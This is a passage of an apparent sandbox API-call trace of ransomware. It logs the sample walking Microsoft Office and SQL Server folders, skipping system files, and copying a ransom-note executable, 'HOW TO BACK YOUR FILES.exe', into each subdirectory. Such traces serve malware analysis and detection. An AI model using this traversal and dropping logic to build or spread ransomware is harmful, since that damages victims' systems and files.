lpString2="C:\\Program Files\\Microsoft Office\\Stationery" | out: lpString1="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery" [0089.912] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0089.912] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\stationery\\how to back your files.exe"), bFailIfExists=1) returned 0 [0089.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\stationery\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0089.913] GetLastError () returned 0x0 [0089.913] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0089.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0089.913] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0089.914] CloseHandle (hObject=0xf4) returned 1 [0089.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0089.914] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0089.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe8b2f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe8b2f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0089.914] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0089.914] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0089.914] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0089.914] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe8b2f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe8b2f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.914] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0089.915] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0089.915] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0089.915] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0089.915] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.915] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0089.915] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0089.915] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0089.915] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0089.915] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0089.915] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0089.915] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0089.915] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0089.915] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0089.915] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0089.915] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0089.915] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0089.915] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0089.915] lstrlenW (lpString="1033") returned 4 [0089.915] lstrcpyW (in: lpString1=0x241e8a2, lpString2="1033" | out: lpString1="1033") returned="1033" [0089.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f778 [0089.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x53a500 [0089.915] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0089.915] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0089.915] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0089.919] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe8b2f60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe8b2f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0089.919] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0089.919] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe8b2f60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe8b2f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0089.919] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0089.919] ReleaseMutex (hMutex=0xec) returned 1 [0089.919] CloseHandle (hObject=0xec) returned 1 [0089.920] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Templates" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0089.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529070 | out: hHeap=0x4f0000) returned 1 [0089.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f790 | out: hHeap=0x4f0000) returned 1 [0089.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates") returned 43 [0089.920] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\EA7A4E3F9C17E0CC371C8BAF177D0E8D") returned 0xec [0089.920] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0089.920] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0089.920] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0089.920] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0089.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0089.921] GetLastError () returned 0x0 [0089.921] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0089.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0089.921] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0089.922] CloseHandle (hObject=0xf4) returned 1 [0089.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0089.922] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0089.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe8b2f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe8b2f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0089.922] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0089.922] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0089.922] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0089.922] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe8b2f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe8b2f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.922] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0089.922] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0089.922] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0089.922] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0089.922] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.923] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0089.923] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0089.923] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0089.923] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0089.923] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0089.923] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0089.923] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0089.923] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0089.923] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0089.923] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0089.923] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0089.923] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0089.923] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0089.923] lstrlenW (lpString="1033") returned 4 [0089.923] lstrcpyW (in: lpString1=0x241e8a0, lpString2="1033" | out: lpString1="1033") returned="1033" [0089.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f790 [0089.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x53a570 [0089.923] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0089.923] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0089.923] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0089.928] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe8b2f60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe8b2f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0089.928] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0089.928] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2=".") returned 1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2="..") returned 1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2="windows") returned -1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2="bootmgr") returned 1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2="temp") returned -1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2="pagefile.sys") returned 1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2="boot") returned 1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2="ids.txt") returned 1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2="ntuser.dat") returned 1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2="perflogs") returned 1 [0089.928] lstrcmpiW (lpString1="Presentation Designs", lpString2="MSBuild") returned 1 [0089.928] lstrlenW (lpString="Presentation Designs") returned 20 [0089.928] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Presentation Designs" | out: lpString1="Presentation Designs") returned="Presentation Designs" [0089.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b7f8 [0089.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x514248 [0089.928] lstrcatW (in: lpString1="Presentation Designs", lpString2="\\" | out: lpString1="Presentation Designs\\") returned="Presentation Designs\\" [0089.928] lstrcatW (in: lpString1="Presentation Designs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Presentation Designs\\HOW TO BACK YOUR FILES.exe") returned="Presentation Designs\\HOW TO BACK YOUR FILES.exe" [0089.928] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs\\how to back your files.exe"), bFailIfExists=1) returned 1 [0089.931] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0089.931] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0089.931] ReleaseMutex (hMutex=0xec) returned 1 [0089.931] CloseHandle (hObject=0xec) returned 1 [0089.931] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" | out: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" [0089.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501ba8 | out: hHeap=0x4f0000) returned 1 [0089.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c350 | out: hHeap=0x4f0000) returned 1 [0089.931] lstrlenW (lpString="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned 58 [0089.931] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D0BD44583AEBC0260EB6A50CC6E63B35") returned 0xec [0089.931] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0089.931] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" | out: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" [0089.931] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0089.931] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\how to back your files.exe"), bFailIfExists=1) returned 0 [0089.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0089.932] GetLastError () returned 0x0 [0089.932] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0089.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0089.932] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0089.933] CloseHandle (hObject=0xf4) returned 1 [0089.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0089.933] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0089.933] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe8b2f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe8b2f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0089.933] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0089.933] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0089.933] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0089.934] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe8b2f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe8b2f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.934] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0089.934] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0089.934] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0089.934] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0089.934] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1 [0089.934] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1 [0089.934] lstrlenW (lpString="Desktop") returned 7 [0089.934] lstrcpyW (in: lpString1=0x241e8be, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0089.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c350 [0089.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x86) returned 0x5142d8 [0089.934] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0089.934] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0089.934] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 1 [0089.937] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe8b2f60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe8b2f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0089.937] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0089.937] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0089.937] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.937] lstrcmpiW (lpString1="sqlceca35.dll", 